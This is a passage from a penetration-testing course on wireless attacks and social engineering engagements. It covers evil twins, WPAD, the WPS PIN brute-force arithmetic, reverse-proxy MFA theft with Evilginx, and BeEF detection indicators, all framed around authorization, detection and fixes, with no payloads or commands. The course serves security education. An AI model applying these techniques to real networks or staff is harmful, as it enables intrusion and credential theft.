| WPA2-Personal or WPA3-Personal | It cannot finish the handshake without the key, because the handshake proves possession of the master key.[4] It can look open and ask for the passphrase on a page, or in WPA3 transition mode pose as WPA2-only and collect a partial handshake for offline guessing.[17] | A long random passphrase; WPA3 only where clients allow |
| PEAP without server validation | Run its own authentication server; a client that skips validation cannot tell it reached the wrong one, and runs its inner password exchange there.[15] | Enforce validation; move to EAP-TLS, where the client refuses a server it cannot validate |
Defenders look for a known SSID with stronger signal, unexpected BSSIDs or inconsistent encryption, and ATT&CK's mitigation is wireless intrusion prevention (WIPS).[12] Kismet adds CRYPTODROP, for a known AP advertising weaker security.[7] If the ROE approves a twin test at all, use the client's own test devices in a set window, and record which devices would join, not what they send.
WiFi-Pumpkin is the framework the exam names. The original repository is now called WiFi-Pumpkin-deprecated, is archived and points to wifipumpkin3, whose latest release is 1.1.7 (November 2023), with its last code push in January 2024; Kali packages it. It needs no account but does need an adapter with AP mode, and it combines an AP, a DNS server, plugins, proxies and a portal subtool called captiveflask.[13] The project has been quiet for nearly three years and its documentation is thin, so check its state first. Choose it over airbase-ng when a test needs those services together.
Captive portals and WPAD: what the first hop can do
Whoever runs a network controls a joining device's first page, name lookups and route.
A captive portal limits a device's access until its user meets a condition, such as accepting terms or giving credentials. A real portal must tell clients apart, and RFC 8952 says a good identifier should be hard to spoof.[14] One built on the MAC address rests on a value every client can read in frames and change.
A rogue portal sits on a twin: RFC 8952 warns that a user who trusts an attacking network might unwittingly give credentials to an attacking page.[14] This course contains no portal text or setup; if such a test is approved, count arrivals and never store what anyone types. ATT&CK's detection correlates portal redirects with the suspect AP.[12]
The fixes: no corporate credentials on portals, guests isolated from staff networks, and Enhanced Open in place of open networks.
Web Proxy Auto-Discovery (WPAD) is on the exam's tool list, but it is a protocol from a 1999 Internet-Draft that expired without becoming a standard. A host using it asks the local network where its proxy settings live:[14]
1. DHCP option 252: where is the proxy configuration file?
2. DNS look up wpad.branch.corvidbay.example
3. DNS then wpad.corvidbay.example
4. Web fetch /wpad.dat from the host that answered, and apply it
On a rogue AP the attacker answers, and the file can send the browser through their proxy: an on-path position with no exploit. CISA's 2016 alert said WPAD was on by default in Windows but off by default on macOS, Linux and other browsers, and that most laptops become exposed outside the office, including on public Wi-Fi.[16] Defenders see wpad queries and option 252 from an unexpected DHCP server. The fix is to disable it where unused, through the DisableWpad registry value and the Windows Settings switch.[15]

AlexEng - CC BY-SA 4.0 - Wikimedia Commons
The WPS PIN: how 100,000,000 guesses become 11,000
Wi-Fi Protected Setup (WPS) lets a device join with a button or an eight-digit personal identification number (PIN). In December 2011 Stefan Viehböck published, and CERT/CC announced, a design flaw that collapses the PIN's keyspace.[10][11]
| Reasoning | Arithmetic | Worst case |
|---|---|---|
| Eight digits at face value | 108 | 100,000,000 guesses |
| Replies split the PIN: an EAP-NACK after M4 says the first half is wrong, after M6 the second.[10] | 104 + 104 | 20,000 guesses |
| The eighth digit is a checksum of the first seven, leaving three free digits in the second half.[10] | 104 + 103 | 11,000 guesses |
| No lockout, at 1.3 seconds an attempt (Viehböck saw 0.5 to 3); half that on average.[10] | 11,000 x 1.3 s | 3.97 hours |
| Second run: a 60-minute lockout after 10 failures.[10] | 1,100 x 60 min + 3.97 h | 1,103.97 hours, about 46 days |
A long passphrase does not help: CERT/CC says an attacker in range may retrieve the network's password, change the AP's settings or cause a denial of service.[11]
In a normal exchange, which the lab's capture shows, the client is the enrollee and the AP the registrar, trading messages M1 to M8.[5] The PIN attack uses the external registrar method, which swaps the roles: the outsider sends M4 and M6 and reads the replies.[10][11]
Defenders see many WPS negotiations, which Kismet's WPSBRUTE alert flags, naming the tool Reaver.[7] The fix is to disable WPS, including the external registrar or router PIN, and to confirm by rescanning for the WPS element in beacons.[11]
What matters here: the weakness is in the design, so eleven thousand stays eleven thousand whatever the passphrase. A beacon proves WPS is advertised, not that the PIN method works, so say which you observed.

ArnoldReinhold - CC BY-SA 3.0 - Wikimedia Commons
Signal jamming: taught, reported, never performed
Signal jamming emits electromagnetic energy on a network's frequencies to make them unusable; NIST calls it a physical denial of service, and sensors can report it and estimate where it comes from.[4] It works because Wi-Fi radios listen first and wait while a channel is busy, and noise keeps it busy. Deauthentication leaves many decodable frames and has a protocol fix. Jamming leaves few or none and has no such fix: you find and remove the source. A Wi-Fi scanner cannot see a non-Wi-Fi source; that takes a spectrum analyzer.[8]
A software-defined radio (SDR), whose tuning and signal processing happen in software, can show a tester wide stretches of spectrum; transmitting from one falls under the same rules as any transmitter. Jamming hits everyone on those frequencies, and in the US it is off limits outside authorized federal use.[1] Your deliverable is on paper: which critical functions stop if the air goes quiet, and whether they have a wired fallback.

Zmaj011 - CC BY-SA 4.0 - Wikimedia Commons

wdwd - CC BY-SA 4.0 - Wikimedia Commons
Protocol fuzzing and packet crafting: when the frame itself is the test
Packet crafting builds one frame field by field to ask one question, using injection tools or Scapy (Lesson 22). The FragAttacks research of May 2021 shows why: Vanhoef found three design flaws, some present since Wi-Fi's 1997 release, plus widespread programming mistakes, and experiments indicated every product was affected by at least one.[17] Evidence is the frame you sent and the reply you got. The fix is the vendor's patch.
Protocol fuzzing sends thousands of malformed or random frames to find the parser that breaks. It works because drivers and firmware read frames from anyone in range before any login. Kismet's alerts record the history: SSIDs over 32 bytes that gave code execution on old Windows Broadcom drivers, and format-string SSIDs that crashed iPhones and macOS systems.[7] A fictional run's log:
Case Field changed Value AP response
411 SSID length 33 bytes (limit 32) Ignored
413 WPS fragment zero length Rebooted after 4 s (firmware 2.1.9)
Crashing things is the point, so fuzz only hardware you own or have written approval for, on an isolated bench. Report the input, firmware version and behavior, and route the bug to the vendor. Defenders see impossible values through alerts such as LONGSSID.[7] The fix is patched firmware.
The wireless attack family at a glance
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| Wardriving | Beacons pass the walls | Kismet with GPS, WiGLE.net | Nothing if passive | Assume names are public |
| Scans and enumeration | Early frames are readable | InSSIDer, Kismet, airodump-ng, Wireshark | Nothing if passive; probes if active | PMF; not hidden names |
| Deauthentication | Unprotected management frames | aireplay-ng | Disconnect bursts; DEAUTHFLOOD | PMF required; WPA3 |
| Evil twin | Trust in a name and strong signal | WiFi-Pumpkin, airbase-ng | Known SSID, unknown BSSID; CRYPTODROP | EAP-TLS or validated PEAP; WIPS |
| Captive portal | Trust in the page; weak client ID | captiveflask | Redirects on an unknown AP | No corporate logins; isolate guests |
| WPAD | Hosts trust whoever answers | Rogue AP services, Responder | wpad queries; stray option 252 | DisableWpad and Settings switch |
| WPS PIN | Split PIN, checksum, weak lockouts | Reaver; airodump-ng to spot it | WPSBRUTE | Disable WPS |
| Signal jamming | A shared medium | None here: illegal to operate | Outage, noise, no frames | Find the source; wired fallback |
| Protocol fuzzing | Parsers read frames before login | Scapy, custom tools, on a bench | Impossible values; LONGSSID | Patch firmware and drivers |
| Packet crafting | Devices accept bad frames | Scapy, FragAttacks tool | Frame anomalies | Vendor patches; PMF |
Exam cues: which wireless term the stem wants
| The stem says | It points to | Do not confuse it with |
|---|---|---|
| Known name from an unknown BSSID | Evil twin | Rogue AP: any unauthorized AP |
| Traveling an area, logging networks with GPS | Wardriving | Site survey: measuring your own coverage |
| Past networks at an address, before going on site | WiGLE.net | Kismet, which listens live, with GPS and alerts |
| Clients drop; a flood of frames bearing the AP's address | Deauthentication; PMF | Jamming, which leaves no such frames |
| Eight-digit PIN, 11,000 attempts | WPS PIN; disable WPS | A dictionary attack on the passphrase |
| A proxy nobody configured; DHCP option 252 | WPAD | Captive portal: a web page before access |
| Malformed frames until the device reboots | Protocol fuzzing | Packet crafting: one deliberate frame |
| Stop a rogue server harvesting passwords | EAP-TLS; enforced server validation | Hidden SSIDs or PMF |
How wireless findings are reported
Here is :A7 from Step 4.
- Title: Unencrypted access point impersonating CB-Staff at head office (suspected evil twin).
- Severity: High. A staff device that joined would send its traffic through an unknown operator's equipment. Not Critical, because no staff device was seen associating.
- Evidence: Survey file and capture with date, time and adapter; BSSID 00:00:5E:00:53:A7, ESSID CB-Staff, ENC OPN, -41 dBm in the car park; absent from the inventory. No frames sent to the device, no connection attempted.
- Root cause: Nothing alerts when a corporate SSID appears from an unknown BSSID, and monitoring does not reach the car park.
- Remediation: Remove the device under the incident process. Add a monitoring rule for CB-Staff from unlisted BSSIDs. Enforce server certificate validation and move to EAP-TLS. Confirm with a repeat survey.
As starting judgments: WPS on a network reaching internal systems is High once the PIN method is confirmed, Medium until then. PMF not required is Medium or Low, labeled as inferred. A hidden SSID is Informational. A neighbor's network is not a finding. Write limitations down, such as "deauthentication not performed, per ROE". NIST says WLAN assessments should run at least annually.[4]
Common misconceptions
- "A hidden SSID is a secure SSID." The name still crosses the air when a client joins.
- "A signed ROE lets me jam my client's Wi-Fi." Not in the US, even on private property.
- "A long passphrase defeats the WPS PIN attack." A correct PIN can reveal the passphrase.
- "WPA3 ends evil twins." Transition mode can draw clients to a rogue WPA2-only network.
Where this leaves us
- The SSID or ESSID is a name and the BSSID is one AP's MAC address, so one name with several BSSIDs is normal.
- Passive scans transmit nothing, and wireless intrusion detection can spot only active ones.
- SSID scanning asks which networks exist, channel scanning where (1, 6 and 11 at 2.4 GHz), and signal strength scanning how close: -30 dBm beside the AP, -70 reliable web use, 3 dB a doubling.
- WiGLE.net needs an account under a non-commercial license; InSSIDer a free Oscium account; Kismet is the passive sniffer, wardriver and WIDS; WiFi-Pumpkin is archived in favor of wifipumpkin3.
- Deauthentication works because management frames are unprotected; PMF is the fix and WPA3 mandates it.
- Validated server certificates and EAP-TLS stop an evil twin; telling a twin from an unlisted AP takes wired-side evidence.
- WPAD finds proxy settings through DHCP option 252 and wpad DNS names, so a rogue network can answer.
- The WPS PIN falls to 104 + 103 = 11,000 guesses, 3.97 hours at 1.3 seconds each. Disable WPS.
- Operating a jammer is illegal in the US even on private property.
Sources
- Federal Communications Commission, Enforcement Bureau. (2014). Marriott International order and consent decree (DA 14-1444), PDF; (2015). Wi-Fi blocking is prohibited (DA 15-113), PDF; (2012). Cell jammers, GPS jammers, and other jamming devices (DA 12-347), PDF
- Joffe v. Google, Inc., No. 11-17483 (9th Cir. amended Dec. 27, 2013). govinfo.gov
- Scarfone, K., et al. (2008). Technical guide to information security testing and assessment (NIST SP 800-115), section 4.4. PDF
- NIST: Scarfone and Mell (2007), Guide to intrusion detection and prevention systems, SP 800-94; Souppaya and Scarfone (2012), Guidelines for securing WLANs, SP 800-153; Frankel et al. (2007), Establishing wireless robust security networks, SP 800-97; Barker and Mouha (2017), Recommendation for the TDEA block cipher (withdrawn), SP 800-67 Rev. 2
- Wireshark Foundation. (n.d.). Sample captures, read 3 November 2026. wiki.wireshark.org
- WiGLE. (n.d.). FAQ (wigle.net/faq); (2018). Individual, non-commercial data license agreement, wigle.net
- Kismet Wireless. (n.d.). Kismet documentation (introduction), wardrive mode; alerts
- Oscium. (n.d.). inSSIDer Wi-Fi scanner; Why use Wi-Fi channels 1, 6, or 11?; Understanding RSSI (oscium.com/training).
- Aircrack-ng. (n.d.). Documentation; airodump-ng
- Viehböck, S. (2011). Brute forcing Wi-Fi Protected Setup. PDF
- CERT Coordination Center. (2011). VU#723755: WiFi Protected Setup (WPS) PIN brute force vulnerability. kb.cert.org
- MITRE. (2024). ATT&CK: Adversary-in-the-Middle: Evil Twin (T1557.004). attack.mitre.org
- P0cL4bs. (n.d.). WiFi-Pumpkin-deprecated; wifipumpkin3 and its documentation; Kali Linux. (n.d.). wifipumpkin3
- Internet Engineering Task Force: Harkins and Kumari (2017), RFC 8110; Larose et al. (2020), RFC 8952; Simon et al. (2008), RFC 5216; Preuß Mattsson and Sethi (2022), RFC 9190; Gauthier et al. (1999), Web Proxy Auto-Discovery Protocol (expired draft)
- Microsoft. (n.d.). EAP for network access; How to disable WPAD (Microsoft Learn)
- Cybersecurity and Infrastructure Security Agency. (2016). Alert TA16-144A: WPAD name collision vulnerability. cisa.gov
- Vanhoef, M. (2018). WPA3: A missed opportunity; (2019). Dragonblood; (2021). FragAttacks
- Key terms
- Service set identifier (SSID)
- The name of a Wi-Fi network, up to 32 bytes. The ESSID is that name across all the access points in one network; the BSSID is the MAC address of one access point.
- Wardriving
- Moving through an area with a Wi-Fi scanner and GPS, logging what wireless networks announce and where; passive when it only listens.
- WiGLE
- A public catalog of user-submitted wireless network observations, used through a free account under an individual, non-commercial data license.
- Wi-Fi deauthentication attack
- Sending forged deauthentication frames so that a client disconnects, which works on networks without protected management frames.
- Protected Management Frames (PMF)
- The IEEE 802.11w protection that lets a device reject forged management frames such as deauthentication; WPA3 mandates it.
- Evil twin attack
- Running an access point that imitates a legitimate network's name so that clients join it, sometimes with a stronger signal or by answering probes for remembered networks.
- Captive portal
- A web page that holds a device on a limited network until its user meets a condition, such as accepting terms or giving credentials.
- Web Proxy Auto-Discovery (WPAD)
- A protocol from an expired 1999 draft that lets a host find its proxy settings through DHCP option 252 or wpad DNS names, so whoever runs the network can answer.
- Wi-Fi Protected Setup (WPS)
- A join method using a button or an eight-digit PIN, whose design flaw reduces PIN guessing to at most 11,000 attempts.
- EAP-TLS
- An enterprise Wi-Fi login method in which both sides prove themselves with certificates, so there is no password to steal.
The Human Attack Surface: Social Engineering Engagements
- Weigh the research on phishing simulations by its sample sizes, methods and effect sizes, and say what a campaign's numbers can and cannot show.
- Design an ethical, authorized engagement: authorization, HR and legal involvement, data kept, and treatment of the people tested.
- Distinguish the exam's attack types and tools by purpose, what they record, what defenders see and what stops them.
- Read email authentication results, explain why phishing-resistant MFA defeats a reverse proxy, and write a finding that names a control rather than a person.
Ten campaigns, 19,789 employees, and a 1.7-point gap
Over eight months of 2023, the security team at UC San Diego Health sent ten simulated phishing campaigns to 19,789 employees. They were randomly assigned either to a no-training control group or to one of four kinds of embedded training. Trained staff failed 1.7 percentage points less often than untrained staff. The choice of email mattered far more: one lure caught 1.8 percent of its recipients and another 30.8 percent (Ho et al., 2025).
Clients will ask you for phishing simulations and expect the numbers to prove something. This lesson gives both sides of the open question, whether simulations help at all, then uses that evidence to design an engagement you can defend. It contains no sample lures, call scripts or setup steps: the exam asks what these techniques and tools are for and what they leave behind.
Exam objectives: 4.8 (phishing, vishing, whaling, spearphishing, smishing, dumpster diving, surveillance, shoulder surfing, tailgating, eavesdropping, watering hole, impersonation, credential harvesting; Social Engineering Toolkit, Gophish, Evilginx, theHarvester, Maltego, Recon-ng, Browser Exploitation Framework).
The case that simulations work
The founding evidence is a 2009 experiment at Carnegie Mellon University. Ponnurangam Kumaraguru's team randomly assigned 515 university volunteers to a control group (172), one training message (172) or two (171). On day 28, 44.2 percent of the control group clicked a simulated spear-phishing link, against 23.8 and 25.6 percent of the trained groups, and training did not make people less willing to click legitimate links.
The scale comes from health care. William Gordon and colleagues pooled 2,971,945 simulated emails from 95 campaigns at six US institutions, 2011-2018; 14.2 percent were clicked. Against an institution's first five campaigns, the adjusted odds ratio for a click was 0.511 (95 percent confidence interval 0.382-0.685) at campaigns 6-10 and 0.335 (0.282-0.398) beyond ten. The authors say they did not adjust for campaign complexity.
Vendors report the steepest falls. KnowBe4's 2026 benchmark, from 42 million simulations across 14.8 million users at 64,000 organizations, gives 33.2 percent before training, 20.1 percent at 90 days and 4.2 percent at 12 months. Notice what Gordon and KnowBe4 share: neither describes an untrained group measured at the same time.
The case that they barely work
Randomized trials inside working organizations tell a smaller story. Deanna Caputo's 2014 study assigned 1,359 employees of a Washington, DC organization to a control group or one of four training pages, then sent three spear-phishing emails that a pilot had rated equally difficult. Training had no significant effect, and many people never read the page. The click rate still dropped from 60 to 34 percent between the first two emails, in every group alike, which the authors read as a difference in difficulty.
Daniele Lain's team at ETH Zurich ran the longest trial: 15 months, 14,733 employees of one company, 117,864 simulated emails, 5.67 percent clicked. Half saw a voluntary training page after failing, and that half clicked more: 3,593 clicks against 3,087, with 801 repeat clickers against 647. The authors suggest a false sense of security and stress that they did not test mandatory training. What did help: warning banners on emails (3,964 clicks with none, 1,427 with a short warning) and a report button, with about 10 percent of reports arriving within 5 minutes and 30-40 percent within 30.
Ho's team put the embedded-training effect at an odds ratio of 0.905 (95 percent CI 0.863-0.950): statistically real, and small. Annual awareness training showed no significant link with failing. Over half of training sessions ended within 10 seconds, about 24 percent were completed, and 56 percent of staff failed at least once in the eight months. People who completed interactive training were 19 percent less likely to fail later (OR 0.809), which may partly reflect who chooses to finish. It is one healthcare organization, as the authors say.
Lain's 2024 follow-up asks where any benefit comes from. It had 4,554 employees in nine groups, three simulated emails over six weeks and 25 interviews. It found that a plain warning message after a failure worked about as well as training content. Mandatory follow-up training did no better than none for the most susceptible staff, and rewards did not help. Its reading: the reminder does the work, and phishing is more an attention problem than a knowledge one.
Why the studies disagree, and what would settle it
| Study | Who, how many, how long | Design | Untrained group? | Result |
|---|---|---|---|---|
| Kumaraguru 2009 | 515 university volunteers, 28 days | Randomized | Yes | Day 28 clicks: 44.2% control, 23.8% and 25.6% trained |
| Gordon 2019 | 6 institutions, 2,971,945 emails, 2011-2018 | Retrospective | No | Odds of a click fall with campaign count |
| KnowBe4 2026 | 14.8 million users, 64,000 organizations | Vendor benchmark | Not mentioned | 33.2% to 4.2% in 12 months |
| Caputo 2014 | 1,359 employees, 3 trials | Randomized | Yes | No significant training effect |
| Lain 2022 | 14,733 employees, 15 months | Randomized | Yes | Voluntary training: no gain, more repeat clicks; warnings helped |
| Lain 2024 | 4,554 employees, 6 weeks | Randomized, 9 groups | Yes | Benefit tracks the reminder, not the content or rewards |
| Ho 2025 | 19,789 employees, 8 months | Randomized, confounders modeled | Yes | 1.7 points lower (OR 0.905) |
Read the fourth column first. The steep falls come from designs with no untrained group; randomized workplace trials range from no effect to a small one. Kumaraguru is the randomized exception, among volunteers at 28 days. Three mechanisms explain most of the gap.
- Lure difficulty. If the next template is easier, clicks fall with no learning at all. The NIST Phish Scale rates an email's detection difficulty (Least, Moderately or Very difficult) from its observable cues and how well its premise fits the audience, so a click rate has context.
- Reach. Embedded training reaches only people who fail, a median of 10 percent per campaign in Ho's data.
- Relative against absolute. "9.5 percent less likely" and "1.7 points lower" describe the same result in Ho's paper. Check which one you are being told.
What would settle it? A randomized trial across sectors, with lures matched for difficulty, a mandatory arm, follow-up past a year, and an outcome beyond simulated clicks: real compromises and time to report. None of the studies in the table counts real compromises. Meanwhile the UK's National Cyber Security Centre (NCSC) takes the practical view that no training package can teach people to spot every phish, so training is one layer among several.
Bottom line: the randomized evidence does not support promising a client that simulations plus training will make clicking rare. It does support using a simulation to measure the whole defense: filters, warnings, reporting and response.
Worked example: which sentence goes in the report?
Alder Valley Credit Union (fictional) has 1,200 staff, and all of them took a security course in June. You ran one authorized campaign in March and one in September. The client wants one sentence for the executive summary, based on your tool's event log.
| Campaign | Phish Scale rating | Sent | Click events logged | Of those, from the mail scanner | Reported | First report after |
|---|---|---|---|---|---|---|
| March, template A | Very difficult | 1,200 | 230 | 62 | 96 | 38 minutes |
| September, template B | Least difficult | 1,200 | 98 | 26 | 216 | 9 minutes |
- "Training cut phishing susceptibility by 57 percent."
- "Clicks fell from 19.2 to 8.2 percent after training."
- "Clicks fell from 14.0 to 6.0 percent, but the templates differ in difficulty and there is no untrained group, so the cause cannot be isolated."
- "Reports rose from 8 to 18 percent, so staff are now safe."
Step 1: clean the counts. Mail security products open links to inspect them, so events within seconds of delivery from the gateway's own addresses are not people. That leaves 230 - 62 = 168 people in March (14.0 percent) and 98 - 26 = 72 in September (6.0 percent). Sentence 2 used the raw events.
Step 2: compare like with like. Sentence 1's arithmetic is right, but template A is rated Very difficult and B Least difficult, and an easier email could produce that fall on its own.
Step 3: look for the comparison. Everyone took the course, so nothing shows what September would have looked like without it. Sentence 1 claims a cause you cannot show, and sentence 4 leaps from a rate to a state nobody can promise. Sentence 3 is the one you can defend.
Second run, one input changed. Suppose the client had agreed in advance to hold back 300 randomly chosen staff from the course.
| September, template B | Sent | People who clicked | Reported |
|---|---|---|---|
| Took the course | 900 | 53 (5.9%) | 165 (18.3%) |
| Held back | 300 | 19 (6.3%) | 51 (17.0%) |
The answer moves from "cannot tell" to "no detectable effect". The gap is 0.4 points, and with these group sizes chance alone could produce about 3.2 points either way (1.96 times the square root of p1(1-p1)/n1 + p2(1-p2)/n2). Reports rose in both groups, so the course does not explain that either.
You write: "In September, staff who took the course clicked at about the same rate as staff who did not (5.9 and 6.3 percent; n = 900 and 300)."
A comparison group has to be planned before the training, so it belongs in the design. The number the client can act on is the 9 minutes: roughly how long a similar real campaign might run before the security team hears about it.
Designing an engagement you can defend
Testing a system or its people without the owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. A client's signature covers its systems and its staff's work accounts. It does not cover personal phones and mailboxes, someone else's website or a real brand's name.
| Decision | Settle in writing | Why |
|---|---|---|
| Who signs, and consequences | An executive sponsor, with HR and legal from the start; no discipline from results, stated in advance | NCSC warns that punishing people "for clicking on emails you've sent starts to resemble entrapment", and says to check with HR first. UC San Diego Health assured staff that results had no bearing on employment |
| Scope | Named groups and work channels; personal phones only by explicit agreement | The client cannot authorize what it does not own |
| Themes | An off-limits list: pay, health, layoffs, disasters | In December 2020 GoDaddy tested staff with a fake $650 holiday bonus, told roughly 500 who failed to retake training, then apologized for a topic it called misleading and insensitive |
| Data kept | Events, never secrets: that a form was submitted, not what was typed | Lain's partner company did not record entered credentials. Gophish stores any captured password in plaintext, so leave that option off |
| Access | Group results by default; named data with a small team; a deletion date | GDPR Article 5 requires data minimization and storage limits. German works councils have co-determination rights over technical monitoring of staff (Works Constitution Act, section 87) |
| Filters | Allowlist the simulation or not, and say which | Microsoft 365's advanced delivery policy makes filters ignore a named sender. That tests people only; without it you test filters and people |
| Calls and personas | Legal approval before any recording or identity | US federal law allows recording with one party's consent (18 U.S.C. 2511(2)(d)); California Penal Code 632 requires all parties' consent for a confidential call. Posing as a federal officer and acting on it is a crime (18 U.S.C. 912) |
| Deconfliction | A named trusted contact, how the security team recognizes the test, stop conditions | A real compromise goes to the escalation path at once (Lesson 4) |
| Debrief | What staff are told, when and by whom | Lain's 2024 study debriefed everyone and offered an opt-out; Ho's site gave nothing beyond the training page |
Do not humiliate anyone. Leaderboards, named lists to line managers and public failure notices attack the control you most want, because a person who fears blame does not report. NCSC asks organizations to avoid a punishment culture so that people come forward even after they have clicked.
Messages: phishing, spearphishing, whaling, smishing and vishing
The exam separates these by channel and by how narrowly the target is chosen. MITRE ATT&CK's T1566 defines phishing as electronically delivered social engineering, broad or targeted. Spear phishing, the exam's spearphishing, aims at a chosen person, company or industry, usually with details from the OSINT work in Lesson 6. Whaling is spearphishing aimed at senior executives, who can approve payments and are used to urgent requests. A broad campaign suits a baseline across many people; a spearphishing test answers "could someone reach this team?"
SMS phishing, the exam's smishing, arrives by Short Message Service (SMS) or Multimedia Messaging Service (MMS), and is T1660 in ATT&CK's mobile matrix. A phone shows little of a link and the message skips the mail gateway, so the header checks below never run. Test only on phones the client owns, or by explicit agreement.
Voice phishing, or vishing (T1566.004), uses a call. CISA's Scattered Spider advisory describes actors posing as IT staff by phone or SMS and, in its 2025 update, posing as employees to persuade help desks to reset passwords and move MFA to devices they controlled. So a vishing test often targets the help desk's process. Evidence is whether the agent verified the caller as the procedure requires. The fix is a step a caller cannot talk past, such as a callback to the number on file.

H. Y. Shin 000 - CC0 - Wikimedia Commons
Watching, listening and the trash: the physical five
These feed the pretext, the cover story that makes a later contact believable. Lesson 13 teaches tailgating in depth. For each, scope says where you may stand, and your evidence never holds a live secret.
- Dumpster diving recovers org charts, invoices and sticky notes from waste. Name the bins in your scope, because trash on private property is still on private property. Evidence is a photograph with the data redacted.
- Surveillance observes a site's routines: entrances, badge designs, shift changes. Work from public places, watch the site and not individuals, and never follow anyone home. Evidence is timed notes and photographs that avoid faces.
- Shoulder surfing reads a screen or keypad by watching. Report that a password or PIN was visible, and never write the value down.
- Eavesdropping overhears talk in lobbies, elevators and smoking areas. Overhearing is one thing and recording is another, as the design table showed.
- Tailgating follows an authorized person through a controlled door. Evidence is a timestamped note matched to the door log.

JTF-GTMO - Public domain - Wikimedia Commons
Watering holes, impersonation and credential harvesting
A watering hole attack compromises a website that a target community already visits, then waits. ATT&CK files it under Drive-by Compromise (T1189) and records Bad Rabbit ransomware spreading through JavaScript injected into popular sites. Testers rarely do this for real, because no client can authorize changes to another owner's site. The honest options are a page the client owns, with written approval, or a tabletop exercise.
Impersonation means posing as a trusted person or organization to persuade someone to act. ATT&CK moved it in 2026 from T1656 to T1684.001, under a new Social Engineering technique, so older material shows the old number. Choose personas with legal: no real named person without consent, and no government or police identity. The defense is out-of-band verification of unusual requests.
Credential harvesting collects logins, usually through a fake or proxied sign-in page. An ethical test proves that people would submit without keeping what they typed, so its evidence is a count. A password manager that will not autofill on the wrong domain is a good early warning, and phishing-resistant MFA removes most of the value.
Seven tools: what each is for, what it records, what stops it
| Tool and status | Purpose in an authorized campaign | What it records | What defenders see | What stops it |
|---|---|---|---|---|
| theHarvester (active; 4.11.1, 2026) | Find published addresses and hosts, to check the target list against scope | Lists by source; docs class sources P0 (provider only), P1 (DNS), P2 (contacts the target) | Nothing for P0; DNS or web requests for P1 and P2 | Less public exposure |
| Recon-ng (active) | Modular web OSINT; its authors point elsewhere for social engineering itself | A workspace database with tables such as contacts and hosts | Depends on the module | As above |
| Maltego (needs an account) | Graph people, domains and infrastructure to see who connects to what | A graph of entities, grown by running transforms | Mostly queries to third parties | As above |
| Gophish (0.12.1, 2022; repository quiet since 2024) | Run and measure email campaigns across groups | A per-recipient timeline: sent, opened, clicked, submitted, reported; CSV exports | An X-Mailer header naming the server, an rid value in links, a tracking image | Filters, warnings, prompt reports |
| The exam's Social Engineering Toolkit, properly the Social-Engineer Toolkit (SET) (8.1.3) | A menu-driven console for single demonstrations: spear-phishing, website, mass mailer and QR code vectors, among others | Console output and per-run report files; no campaign dashboard | Mail from unfamiliar infrastructure; a cloned page on a new host | Filters, URL reputation; README limits it to consent-based testing |
| Evilginx (3.3.0, 2024; a paid Pro edition exists) | Show that MFA codes can be relayed, with a proxy between browser and real site | Credentials and session cookies, which are live secrets; use test accounts and discard values | A look-alike host, sign-ins from hosting addresses, one session used from two places | FIDO2 and WebAuthn; device-based access rules; no weak fallback |
| Browser Exploitation Framework (BeEF) (version 0.6, 2025) | Assess what a browser exposes once it loads the tester's script, the "hook", from a page or a cross-site scripting flaw | A panel of hooked browsers, command modules and results | A script from an odd host and repeated polling (defaults: port 3000, /hook.js, a BEEFHOOK cookie) | Fix the injection flaw; web filtering; patched browsers |
Choose by the question. "How does the whole company respond?" is Gophish. "Show me one believable path" can be SET. "Do our codes protect us?" is Evilginx, on accounts the client created for the test. "What can a page do to our browsers?" is BeEF, whose default credentials must be changed before use. The three OSINT tools come first and feed the plan, as in Lesson 6. Here is the shape of a campaign's event record; a real export holds names and addresses, which is why access is limited.
Fictional, abridged, recipient IDs pseudonymized
id time event source
r-0417 09:02:13 Clicked Link gateway address range, no cookie (scanner: exclude)
r-0417 09:42:06 Clicked Link office address
r-0417 09:42:31 Submitted Data [fields not kept]
r-0733 09:11:27 Email Reported via security mailbox

Tim ( talk ) - CC0 - Wikimedia Commons
Reading a header: what SPF, DKIM and DMARC can and cannot say
Every email has two senders. The envelope sender travels in the Simple Mail Transfer Protocol (SMTP) MAIL FROM command and receives bounces; the From line is what people read.
Each server inserts a Received line at the top, so read those from the bottom up. Sender Policy Framework (SPF) checks whether the sending address may send for the MAIL FROM domain. DomainKeys Identified Mail (DKIM) verifies a signature made by the domain in its d= tag. DMARC, Domain-based Message Authentication, Reporting, and Conformance, ties them to what people see: SPF or DKIM must pass for a domain aligned with the From domain, either in the same organizational domain (relaxed) or identical (strict).
RFC 9989 replaced the older specification, RFC 7489, in May 2026.
Fictional header
Received: from mail.example.net (mail.example.net [203.0.113.25])
by mx1.example.com; Tue, 10 Mar 2026 09:02:11 +0000
Authentication-Results: mx1.example.com;
spf=pass smtp.mailfrom=example.net;
dkim=pass header.d=example.net;
dmarc=fail header.from=example.com
From: [display name removed] <it-notices@example.com>
Subject: [removed: template T-07]
SPF and DKIM passed, but for example.net, and the From line says example.com. Neither identifier aligns, so DMARC fails. What happens next depends on the policy example.com publishes: p=none expresses no preference, p=quarantine marks such mail as suspicious, and p=reject asks for refusal. If this reached an inbox under p=reject, you have a finding about the receiving gateway.
Second run, one input changed. Put example.net in the From line and every check passes: dmarc=pass header.from=example.net. Anyone can publish records for a domain they own, and RFC 9989 says DMARC does not address visually similar domains or display names. A pass tells you which domain stands behind a message, not whether to trust it.

Unknown author Unknown author - CC BY-SA 3.0 - Wikimedia Commons

Ale2006-from-en - CC BY-SA 3.0 - Wikimedia Commons

Flowmailer - CC BY-SA 4.0 - Wikimedia Commons
Why a reverse proxy beats a code but not a security key
A reverse proxy phishing site relays everything between the user and the real sign-in page. Microsoft tracked this adversary-in-the-middle pattern against more than 10,000 organizations from September 2021. It stresses that the pattern is not a flaw in MFA: the real site issues a valid session cookie, and the proxy keeps a copy. Here is the same proxy with one input changed.
| Step | User has an app or SMS code | User has a security key or passkey |
|---|---|---|
| 1. Second factor is requested | The user types a code, which says nothing about which site asked | The browser asks the authenticator, passing the origin it can actually see |
| 2. What crosses the proxy | The code, relayed in time to the real site | Nothing usable: the credential is scoped to the real site, and any signature would name the wrong origin |
| 3. Outcome | A valid session; the proxy holds its cookie | No session to steal |
The difference is binding. WebAuthn, the standard under FIDO2, scopes a credential so only its relying party's origins can use it, and the relying party checks the origin in the signed client data. NIST SP 800-63B-4 defines phishing resistance as protection "without relying on the vigilance of the claimant", and rules out anything typed by hand. Note what that means for this dispute: the control that works asks nothing of human attention.
